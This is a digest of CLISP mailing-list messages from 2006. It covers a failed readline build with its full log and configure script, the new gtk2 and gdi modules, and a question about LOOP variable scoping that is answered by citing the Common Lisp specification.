tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -c wildcard.lisp
;; Compiling file /tmp/clisp-2.41-build/wildcard/wildcard.lisp ...
;; Wrote file /tmp/clisp-2.41-build/wildcard/wildcard.fas
;; Wrote file /tmp/clisp-2.41-build/wildcard/wildcard.c
0 errors, 0 warnings
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c wildcard.c
gmake[1]: Leaving directory `/tmp/clisp-2.41-build/wildcard'
./txt2c -I'/usr/local/src/languages/clisp/clisp-2.41/' < /usr/local/src/l=
anguages/clisp/clisp-2.41/src/_clisp.c > txt.c
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -DCOMPILE_STANDALONE -x=
 none -O0 txt.c -o txt
./txt > clisp.c
rm -f txt.c
rm -f txt
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none -DENABLE_RELOCA=
TABLE clisp.c libcharset.a libavcall.a libcallback.a -lreadline -lncurses=
 -ldl  -liconv -lsigsegv -o clisp
test -d boot || (mkdir boot && cd boot && for f in lisp.a libnoreadline.a=
 libcharset.a libavcall.a libcallback.a  modules.h modules.o makevars lis=
p.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf boot ; exit 1)
rm -rf base
CLISP_LINKKIT=3D. ./clisp-link add-module-sets boot base i18n syscalls re=
gexp readline || (rm -rf base ; exit 1)
make[1]: Entering directory `/tmp/clisp-2.41-build/i18n'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/tmp/clisp-2.41-build/i18n'
make[1]: Entering directory `/tmp/clisp-2.41-build/syscalls'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/tmp/clisp-2.41-build/syscalls'
make[1]: Entering directory `/tmp/clisp-2.41-build/regexp'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/tmp/clisp-2.41-build/regexp'
make[1]: Entering directory `/tmp/clisp-2.41-build/readline'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/tmp/clisp-2.41-build/readline'
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=
 -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -=
falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I/tmp/clisp-2.41-build =
-c modules.c
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=
 -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -=
falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o readli=
ne.o -lreadline -lncurses regexi.o regex.o calls.o -lcrypt -lm gettext.o =
lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -=
liconv -lsigsegv -o lisp.run
calls.o(.text+0x1225): In function `temp_name':
/tmp/clisp-2.41-build/syscalls/calls.c:432: the use of `tempnam' is dange=
rous, better use `mkstemp'
boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i =
syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispin=
it.mem")
;; Loading file i18n/preload.lisp ...
;; Loaded file i18n/preload.lisp
;; Loading file syscalls/preload.lisp ...
;; Loaded file syscalls/preload.lisp
;; Loading file regexp/preload.lisp ...
;; Loaded file regexp/preload.lisp
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/posix -i regexp/regexp -i readline/readline -x (saveinitmem "base/lispin=
it.mem")
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;; Loading file /tmp/clisp-2.41-build/readline/readline.fas ...
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         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_set_prompt" doe=
s not
         exist
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s not
         exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_read_init_file"=
 does
         not exist
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 not
         exist
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p"
         does not exist
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es
         not exist
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es
         not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_discard_keymap"=
 does
         not exist
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s not
         exist
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s not
         exist
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ame"
         does not exist
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ame"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_key" does =
not
         exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_key_in_map=
"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_key_if_unb=
ound"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_bind_key_if_unbound_in_map"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_unbind_key" doe=
s not
         exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_unbind_key_in_m=
ap"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_unbind_function_in_map"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_unbind_command_in_map"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_keyseq" do=
es
         not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_keyseq_in_=
map"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_bind_keyseq_if_unbound"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_bind_keyseq_if_unbound_in_map"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_generic_bind" d=
oes
         not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_parse_and_bind"=
 does
         not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_named_function"=
 does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_function_of_key=
seq"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_invoking_keyseq=
s"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_invoking_keyseqs_in_map"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_function_dumper=
"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_list_funmap_nam=
es"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_funmap_names" d=
oes
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_add_funmap_entr=
y"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_begin_undo_grou=
p"
         does not exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_end_undo_group"=
 does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_add_undo" does =
not
         exist
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WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_free_undo_list"=
 does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_do_undo" does n=
ot
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_modifying" does=
 not
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_redisplay" does=
 not
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_forced_update_display"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_on_new_line" do=
es
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_on_new_line_with_prompt"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_reset_line_stat=
e"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_crlf" does not =
exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_show_char" does=
 not
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_message" does n=
ot
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_clear_message" =
does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_save_prompt" do=
es
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_restore_prompt"=
 does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_expand_prompt" =
does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_insert_text" do=
es
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_delete_text" do=
es
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_copy_text" does=
 not
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_kill_text" does=
 not
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_push_macro_inpu=
t"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_read_key" does =
not
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_getc" does not =
exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_stuff_char" doe=
s not
         exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_execute_next" d=
oes
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_clear_pending_i=
nput"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_set_keyboard_input_timeout"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_prep_terminal" =
does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_deprep_terminal=
"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_tty_set_default_bindings"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_reset_terminal"=
 does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_replace_line" d=
oes
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_extend_line_buf=
fer"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_ding" does not =
exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_display_match_l=
ist"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_variable_bind" =
does
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_macro_dumper" d=
oes
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_variable_dumper=
"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_set_paren_blink_timeout"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_get_termcap" do=
es
         not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_resize_terminal=
"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_set_screen_size=
"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_get_screen_size=
"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_callback_handler_install"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_callback_read_c=
har"
         does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "rl_callback_handler_remove"
         does not exist
         Skip foreign function creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_line_buffer" =
does
         not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_point" does n=
ot
         exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_end" does not
         exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_mark" does no=
t
         exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_done" does no=
t
         exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_num_chars_to_=
read"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_pending_input=
"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_dispatching" =
does
         not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_erase_empty_l=
ine"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_prompt" does =
not
         exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_already_promp=
ted"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_library_versi=
on"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_readline_vers=
ion"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_gnu_readline_=
p"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_terminal_name=
"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_instream" doe=
s not
         exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_outstream" do=
es
         not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_last_func" do=
es
         not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_startup_hook"=
 does
         not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_pre_input_hoo=
k"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_event_hook" d=
oes
         not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_getc_function=
"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_editing_mode"=
 does
         not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_insert_mode" =
does
         not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_readline_name=
"
         does not exist
         Skip foreign variable creation
WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_readline_stat=
e"
         does not exist
         Skip foreign variable creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "module__readline__constant_map_int"
         does not exist
         Skip foreign function creation
*** - FUNCALL: undefined function |module__readline__constant_map_int|

./clisp-link: failed in /tmp/clisp-2.41-build
make: *** [base] Error 1

real	12m51.310s
user	6m55.214s
sys	1m25.289s

--=20
__Pascal Bourguignon__                     http://www.informatimago.com/

"By filing this bug report you have challenged the honor of my
family. Prepare to die!"


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Pascal Bourguignon wrote:
> Always with my same clisp-compile-linux script, 2.41 cannot be
> compiled on Linux.  It fails on the readline module. I've updated to
> readline-5.2 but it keeps breaking the same way.
> 
> ------------------------------------------------------------------------
> #!/bin/bash
> version=$(awk -F= '/PACKAGE_VERSION=/{print substr($2,2,index($2," ")-2);}' ./src/configure)

I suggest parsing the output of "./src/configure --version" instead.

> if [ $# -ge 1 ] ; then version=$1 ; shift ; fi
> echo version=$version
> rm -rf /tmp/clisp-${version}-build/
> time ./configure \
>      --prefix=/usr/local/languages/clisp-${version} \
>      --with-libz-prefix=/usr/local \
>      $(for m in \
>            zlib \
>            bindings/glibc \
>            clx/new-clx \
>            pcre \
>            rawsock \
>            regexp \
>            syscalls \
>            wildcard \
>         ; do \
>         if expr match "$m" 'i18n\|regexp\|syscalls' >/dev/null;\
>         then true already there ;\
>         else echo -n "--with-module=$m  " ;\
>         fi ; done) \
>      --build /tmp/clisp-${version}-build \
>      --install
> ------------------------------------------------------------------------




> gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -I/tmp/clisp-2.41-build -c modules.c
> gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o readline.o -lreadline -lncurses regexi.o regex.o calls.o -lcrypt -lm gettext.o lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv -o lisp.run
> calls.o(.text+0x1225): In function `temp_name':
> /tmp/clisp-2.41-build/syscalls/calls.c:432: the use of `tempnam' is dangerous, better use `mkstemp'
> boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispinit.mem")
> ;; Loading file i18n/preload.lisp ...
> ;; Loaded file i18n/preload.lisp
> ;; Loading file syscalls/preload.lisp ...
> ;; Loaded file syscalls/preload.lisp
> ;; Loading file regexp/preload.lisp ...
> ;; Loaded file regexp/preload.lisp
> 1729784 ;
> 523832
> base/lisp.run -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i syscalls/posix -i regexp/regexp -i readline/readline -x (saveinitmem "base/lispinit.mem")
...
> *** - FUNCALL: undefined function |module__readline__constant_map_int|

module__readline__constant_map_int should be defined in 
build/readline/readline.c
please check it.
please also check if build/readline/readline.o is indeed in base/lisp.run.



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On 10/16/06, Sam Steingold <sds@gnu.org> wrote:
> CLISP now has a new module: gtk2, based on a generous contribution of
> James Bailey <dgym.bailey@gmail.com>.
> It should work on both unix and woe32.
> The main entry point is gtk:run-glade-file : create a UI using Glade and
> run it from CLISP.
> http://sds.podval.org/clisp/impnotes/faq.html#faq-gui
> http://sds.podval.org/clisp/impnotes/gtk.html
>
> An example UI is provided:
>
> $ ./configure --with-module=gtk2 --build build-gtk
> $ ./build-gtk/clisp -K full -x '(gtk:run-glade-file "modules/gtk2/ui.glade")'
>
> it is very basic and does nothing interesting.

It is probably trivial, but how do I assign Lisp function to a
callback? Through gtk machinery, or is there some higher level
mechanism?

Tomas Zellerin


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Tomas Zellerin wrote:
> On 10/16/06, Sam Steingold <sds@gnu.org> wrote:
>> CLISP now has a new module: gtk2, based on a generous contribution of
>> James Bailey <dgym.bailey@gmail.com>.
>> It should work on both unix and woe32.
>> The main entry point is gtk:run-glade-file : create a UI using Glade and
>> run it from CLISP.
>> http://sds.podval.org/clisp/impnotes/faq.html#faq-gui
>> http://sds.podval.org/clisp/impnotes/gtk.html
>>
>> An example UI is provided:
>>
>> $ ./configure --with-module=gtk2 --build build-gtk
>> $ ./build-gtk/clisp -K full -x '(gtk:run-glade-file "modules/gtk2/ui.glade")'

make it
$ ./build-gtk/clisp -K full -x '(gtk:gui "modules/gtk2/ui.glade")'

>> it is very basic and does nothing interesting.

well... :-)

> but how do I assign Lisp function to a callback? 

use gtk:gtk_connect

 > Through gtk machinery, or is there some higher level mechanism?

use glade.
just open "modules/gtk2/ui.glade" in glade and add callbacks.
gtk:gui will do all the necessary magic.

Sam.


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I've released the new upstream clisp-2.41 for cygwin.

./configure --fsstnd=redhat --with-dynamic-ffi  \
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	--with-module=gdi \
	--prefix=/usr --build build

http://clisp.cvs.sourceforge.net/*checkout*/clisp/clisp/src/NEWS

Cygwin Changes:
I've added experimentally my gdi module, which I might drop later.
libsvm is not yet in, as pari. You can easily add this and the other 
modules to commercial packages via the clisp linkkit.
The next cygwin release will probably contain libsvm and gtk2.

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Reini Urban wrote:
> I've released the new upstream clisp-2.41 for cygwin.

thanks!

> I've added experimentally my gdi module, which I might drop later.

1. I thought that the original author of a gdi module was Dan Stanger. 
Or maybe this one is a completely new module? I am confused, sorry.

2. I made some comments (including bugs!) about the gdi module here:
http://sourceforge.net/mailarchive/message.php?msg_id=36353153
http://article.gmane.org/gmane.lisp.clisp.devel/15834
I don't think there was any response (except that I now think that 
errors should be raised as conditions instead of returned as errno).
Does anyone use this module?

Sam.


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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2006-10-27 09:07:13 +0200]:
>
> (let ((vars '(1 2 3 4)))
>    (loop for i from 0 to 10 for vars on vars do (print vars)))
> => nil

this appears to be a long standing bug.
please file a bug report on SF so that it is not lost.
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Sam Steingold schrieb:
> Reini Urban wrote:
>> I've released the new upstream clisp-2.41 for cygwin.
> 
> thanks!
> 
>> I've added experimentally my gdi module, which I might drop later.
> 
> 1. I thought that the original author of a gdi module was Dan Stanger. 
> Or maybe this one is a completely new module? I am confused, sorry.

Dan Stanger is the author. I just took over maintainance.

> 2. I made some comments (including bugs!) about the gdi module here:
> http://sourceforge.net/mailarchive/message.php?msg_id=36353153
> http://article.gmane.org/gmane.lisp.clisp.devel/15834
> I don't think there was any response (except that I now think that 
> errors should be raised as conditions instead of returned as errno).

No response so far.

> Does anyone use this module?

That's why I'm trying to add it to the clisp distro, at least.
If there's no response or other modules seem to be better I'll drop it.
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On 11/1/06, Sam Steingold <sds@gnu.org> wrote:
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> > On 10/16/06, Sam Steingold <sds@gnu.org> wrote:
> >> CLISP now has a new module: gtk2, based on a generous contribution of
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> > but how do I assign Lisp function to a callback?
>  > Through gtk machinery, or is there some higher level mechanism?
>
> use glade.
> just open "modules/gtk2/ui.glade" in glade and add callbacks.
> gtk:gui will do all the necessary magic.

I think I see. I just did not believe that simple writing lisp into
callbacks could work.

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On 11/1/06, Reini Urban <rurban@x-ray.at> wrote:
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> That's why I'm trying to add it to the clisp distro, at least.
> If there's no response or other modules seem to be better I'll drop it.

Is there agreement that the mingw builds should have this as
well? If so, I'll make effort to include it in mingw-without-readline
for the next release. If Yaroslav includes it in his build too, then it
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Tomas Zellerin wrote:
>(let ((vars '(1 2 3 4)))
>   (loop for i from 0 to 10 for vars on vars do (print vars)))

>Is this a bug? Without the for i from 0 to 10 clause it appears to
>work as expected. The construction is used in Ironclad macros
>expansion, so it is not an academical example, however unfortunate the
>duplication of variable name may be.

Where are the language lawyers?

CLHS 6.1.1.4 states "One implication of this interleaving is that it is
implementation-dependent whether the lexical environment in which the
initial value forms (variously called the form1, form2, form3, step-fun,
vector, hash-table, and package) in any for-as-subclause, except
for-as-equals-then, are evaluated includes only the loop variables
preceding that form or includes more or all of the loop variables; the
form1 and form2 in a for-as-equals-then form includes the lexical
environment of all the loop variables."

Thus the only call for action here is that CLISP is encouraged to and
should document its "implementatio dependent" choices (cf. glossary).
I thought CLISP purports to document all of them?

Please file a bug to Ironclad instead.

Regards,
	Jorg Hohle


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Tomas Zellerin wrote:
> On 11/1/06, Sam Steingold <sds@gnu.org> wrote:
>> Tomas Zellerin wrote:
>>> On 10/16/06, Sam Steingold <sds@gnu.org> wrote:
>>>> CLISP now has a new module: gtk2, based on a generous contribution of
>>>> James Bailey <dgym.bailey@gmail.com>.
> 
>>> but how do I assign Lisp function to a callback?
>>> Through gtk machinery, or is there some higher level mechanism?
>>
>> use glade.
>> just open "modules/gtk2/ui.glade" in glade and add callbacks.
>> gtk:gui will do all the necessary magic.
> 
> I think I see. I just did not believe that simple writing lisp into
> callbacks could work.

it does, doesn't it? :-)

BTW, any glade experts here?
1. why is the "about" window displayed undecorated?
2. why doesn't Enter in the "apropos" text entry box work?

Sam.




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Jack Unrue wrote:
> On 11/1/06, Reini Urban <rurban@x-ray.at> wrote:
>> Sam Steingold schrieb:
>>> Does anyone use this module?
>> That's why I'm trying to add it to the clisp distro, at least.
>> If there's no response or other modules seem to be better I'll drop it.
> 
> Is there agreement that the mingw builds should have this as well? 

the "official" opinion of the maintainers is expressed in
"Additional Information for Maintainers of Binary Packages:"
section of clisp/unix/INSTALL; see item 3 "Module selection:".

> If so, I'll make effort to include it in mingw-without-readline
> for the next release. If Yaroslav includes it in his build too, then it
> might get some better exposure.

it is entirely up to you.

Sam.



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Hoehle, Joerg-Cyril wrote:
> Tomas Zellerin wrote:
>> (let ((vars '(1 2 3 4)))
>>   (loop for i from 0 to 10 for vars on vars do (print vars)))
> 
>> Is this a bug? Without the for i from 0 to 10 clause it appears to
>> work as expected. The construction is used in Ironclad macros
>> expansion, so it is not an academical example, however unfortunate the
>> duplication of variable name may be.
> 
> CLHS 6.1.1.4 states "One implication of this interleaving is that it is
> implementation-dependent whether the lexical environment in which the
> initial value forms (variously called the form1, form2, form3, step-fun,
> vector, hash-table, and package) in any for-as-subclause, except
> for-as-equals-then, are evaluated includes only the loop variables
> preceding that form or includes more or all of the loop variables; the
> form1 and form2 in a for-as-equals-then form includes the lexical
> environment of all the loop variables."

you are right, the code is not portable de jure.
OTOH, it is portable de facto, and I see no reason not to support it.
http://www.cygwin.com/acronyms/#PTC


> Thus the only call for action here is that CLISP is encouraged to and
> should document its "implementatio dependent" choices (cf. glossary).
> I thought CLISP purports to document all of them?

:-)


> Please file a bug to Ironclad instead.

Yes, absolutely - non-portable code is bad.


Sam.



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Sam Steingold wrote:
>BTW, any glade experts here?
>1. why is the "about" window displayed undecorated?
>2. why doesn't Enter in the "apropos" text entry box work?

3. why is the window not destroyed/unmapped after I choose Menu > File >
Exit in Gnome (Ubuntu Dapper)? =20
When I hit the close button, after a few seconds Gnome asks me whether
to kill the unresponsive application.  If I proceed, clisp is killed.

4. Did anybody ever see a clean-up callback called?

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
>> BTW, any glade experts here?
>> 1. why is the "about" window displayed undecorated?
>> 2. why doesn't Enter in the "apropos" text entry box work?
> 
> 3. why is the window not destroyed/unmapped after I choose Menu > File >
> Exit in Gnome (Ubuntu Dapper)?  
> When I hit the close button, after a few seconds Gnome asks me whether
> to kill the unresponsive application.  If I proceed, clisp is killed.

WFM:
clisp-gui-main == #<FOREIGN-ADDRESS #x0951A818>
textview_repl == #<FOREIGN-ADDRESS #x09554848>
entry1_apropos == #<FOREIGN-ADDRESS #x0951AA98>
statusbar1 == #<FOREIGN-ADDRESS #x0950A6E0>
dialog1_about == #<FOREIGN-ADDRESS #x095F0818>
textview_about == #<FOREIGN-ADDRESS #x09554930>
calling (GTK:gui-quit) with arguments (#<FOREIGN-ADDRESS #x0951A818> 
#<FOREIGN-ADDRESS #x095F4C58>)
Exited gui
NIL

did you do
cvs up
cd build
make MODULES=gtk2 full
./clisp -q -norc -K full -x '(gtk:gui "gtk2/ui.glade")'

> 4. Did anybody ever see a clean-up callback called?

no.
in what situation should it be called?




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Sam Steingold writes:
> Pascal Bourguignon wrote:
> > Always with my same clisp-compile-linux script, 2.41 cannot be
> > compiled on Linux.  It fails on the readline module. I've updated to
> > readline-5.2 but it keeps breaking the same way.
> >=20
> > ---------------------------------------------------------------------=
---
> > #!/bin/bash
> > version=3D$(awk -F=3D '/PACKAGE_VERSION=3D/{print substr($2,2,index($=
2," ")-2);}' ./src/configure)
>=20
> I suggest parsing the output of "./src/configure --version" instead.
>=20
> > if [ $# -ge 1 ] ; then version=3D$1 ; shift ; fi
> > echo version=3D$version
> > rm -rf /tmp/clisp-${version}-build/
> > time ./configure \
> >      --prefix=3D/usr/local/languages/clisp-${version} \
> >      --with-libz-prefix=3D/usr/local \
> >      $(for m in \
> >            zlib \
> >            bindings/glibc \
> >            clx/new-clx \
> >            pcre \
> >            rawsock \
> >            regexp \
> >            syscalls \
> >            wildcard \
> >         ; do \
> >         if expr match "$m" 'i18n\|regexp\|syscalls' >/dev/null;\
> >         then true already there ;\
> >         else echo -n "--with-module=3D$m  " ;\
> >         fi ; done) \
> >      --build /tmp/clisp-${version}-build \
> >      --install
> > ---------------------------------------------------------------------=
---
>=20
>=20
>=20
>=20
